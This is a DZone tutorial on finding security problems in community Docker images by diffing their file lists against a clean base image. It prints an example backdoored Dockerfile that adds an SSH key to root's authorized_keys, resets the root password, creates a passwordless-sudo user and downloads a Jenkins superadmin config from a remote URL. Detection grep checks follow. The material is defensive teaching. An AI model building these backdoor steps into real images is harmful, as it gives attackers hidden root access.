Over a million developers have joined DZone.
{{announcement.body}}
{{announcement.title}}

Explore Docker Images For Security Concerns

DZone's Guide to

Explore Docker Images For Security Concerns

Community Docker images can save time, but they also might be insecure. See how you can make sure your image is ready to go, and learn how to keep bad ones out.

· Cloud Zone
Free Resource

Site24x7 - Full stack It Infrastructure Monitoring from the cloud. Sign up for free trial.

Nowadays, people are happy to use community Docker images. It's super fast and easy to set up infrastructure, at least compared to the old days. But watch out for security risks hiding inside!

Ignoring them could result in serious damage sooner or later. But the question remains. How do you identify security holes inside Docker images?


docker_image_scan.jpg

 

Common Security Issues Inside Public Docker Images

Here is a simple example. Doubtless it will be misleading and hard to diagnose in the real world.

  • In L18-19, a SSH key is injected to to authorized_keys. If you start SSHD, you're in danger.
  • In L22, the root password has been reset. Not good, isn't it?
  • In L25-26, a malicious OS user has been added.
  • In L29-31, the user has been promoted as super admin, and he/she can run any commands without password!
  • In L34-36, your Jenkins has an unpleasant admin user now. Yes, Jenkins is hot and popular. You can do a lot of things with Jenkins. So can the hackers! This case represents the security of the application layer. It's certainly the most dangerous and difficult case.
 1: ########## How To Use Docker Image ###############
 2: ##
 3: ##  Install docker utility
 4: ##  Download docker image: 
 5: ##   docker pull denny/test:v1
 6: ##  Boot docker container: 
 7: ##   docker run -t -P -d --name my-test denny/test:v1 /bin/bash
 8: ##
 9: ##  Build Image From Dockerfile. 
10: ##   docker build -f Dockerfile -t denny/test:v1 --rm=false .
11: ##################################################
12: 
13: FROM ubuntu:14.04
14: MAINTAINER Denny <denny@dennyzhang.com>
15: 
16: RUN mkdir -p /root/.ssh && \
17:   # SSH login by key file
18:   echo "ssh-rsa AAAAB3NzaC1...lOvno6KN5 denny@dennyzhang.com" \
19:        >> /root/.ssh/authorized_keys && \
20: 
21:   # Reset root password
22:   echo 'root:ChangeMe1' | chpasswd && \
23: 
24:   # Add a malicious user
25:   useradd denny && \
26:   echo 'denny:ChangeMe1' | chpasswd && \
27: 
28:   # Add user to super admin
29:   echo '%denny ALL=(ALL:ALL) NOPASSWD: ALL' > \
30:         /etc/sudoers.d/admins && \
31:   chmod 400 /etc/sudoers.d/admins && \
32: 
33:   # Add superadmin user to 
34:   mkdir -p /var/lib/jenkins/users/superadmin && \
35:   wget -O /var/lib/jenkins/users/superadmin/config.xml \
36:     https://github.com/DennyZhang/devops_public/raw/tag_v2/doc/admin_conf_xml
37: 
38: CMD ["/bin/bash"]


Dump Change List of Docker Images

We still want to use community Docker images. We just need to root out insecure ones. Audit potential security risks — as many as possible. Docker images are built directly or indirectly from golden images provided by trusted sources. Original golden Docker images are usually clean. So what changes have community Docker images made?

People can inspect change of Docker containers with "docker diff $container_id". Unfortunately, Docker doesn't support image comparison. Here is a feasible workaround:

  • List all files in a golden image like below.
container_name="container1"
docker_image="ubuntu:14.04"
result_list="/tmp/list1.txt"
docker stop $container_name; \
 docker rm $container_name || true
# Start a container from golden image
docker run -t --name $container_name \
 -d $docker_image /bin/bash

# List all files inside the container
docker export $container_name | \
  docker run -i --rm ubuntu tar tvf - \
  > $result_list

# Check the list
tail $result_list
# drwxr-xr-x 0/0      0   2016-08-02 08:26 bin/
# -rwxr-xr-x 0/0  21112   2014-10-07 19:22 bin/bash
# -rwxr-xr-x 0/0  31152   2013-10-21 13:15 bin/bunzip2
# lrwxrwxrwx 0/0      0   2013-10-21 13:15 bin/bzcmp -> bzdiff
# -rwxr-xr-x 0/0   2140   2013-10-21 13:15 bin/bzdiff
# ...


  • List all files in a problematic image. Note it might take a long while (tens of minutes) for large images.
container_name="container2"
docker_image="denny/gitlab:v1"
result_list="/tmp/list2.txt"
docker stop $container_name; \
 docker rm $container_name || true
# Start a container from golden image
docker run -t --name $container_name \
 -d $docker_image /bin/bash

# List all files inside the container
docker export $container_name | \
  docker run -i --rm ubuntu tar tvf - \
  > $result_list

# Check the list
tail $result_list


  • Compare the lists:
result1="/tmp/list1.txt"
result2="/tmp/list2.txt"
diff_result="/tmp/diff.txt"

diff $result1 $result2 > $diff_result

tail $diff_result
# > drwxr-xr-x 0/0     0  2015-12-20 13:34 var/spool/postfix/pid/
# > drwx------ 103/0   0  2015-12-20 13:34 var/spool/postfix/private/
# > drwx--s--- 103/0   0  2015-12-20 13:34 var/spool/postfix/public/
# > drwx------ 103/0   0  2015-12-20 13:34 var/spool/postfix/saved/


  • Check for security vulnerabilities:
diff_result="/tmp/diff.txt"

# Check ssh authorized login
grep authorized_keys $diff_result

# check OS users
grep "etc/group" $diff_result

# Check sudo users
grep "etc/sudoers.d" $diff_result

# Check ssh key pair
grep ".ssh/.*id_rsa" $diff_result

# Add your checks in below
# ...
# ...


After the test, remember to remove useless containers.

Related Refcard:

Site24x7 - Full stack It Infrastructure Monitoring from the cloud. Sign up for free trial.

Topics:
docker images ,security ,diff

Opinions expressed by DZone contributors are their own.

THE DZONE NEWSLETTER

Dev Resources & Solutions Straight to Your Inbox

Thanks for subscribing!

Awesome! Check your inbox to verify your email so you can start receiving the latest in tech news and resources.

X

{{ parent.title || parent.header.title}}

{{ parent.tldr }}

{{ parent.urlSource.name }}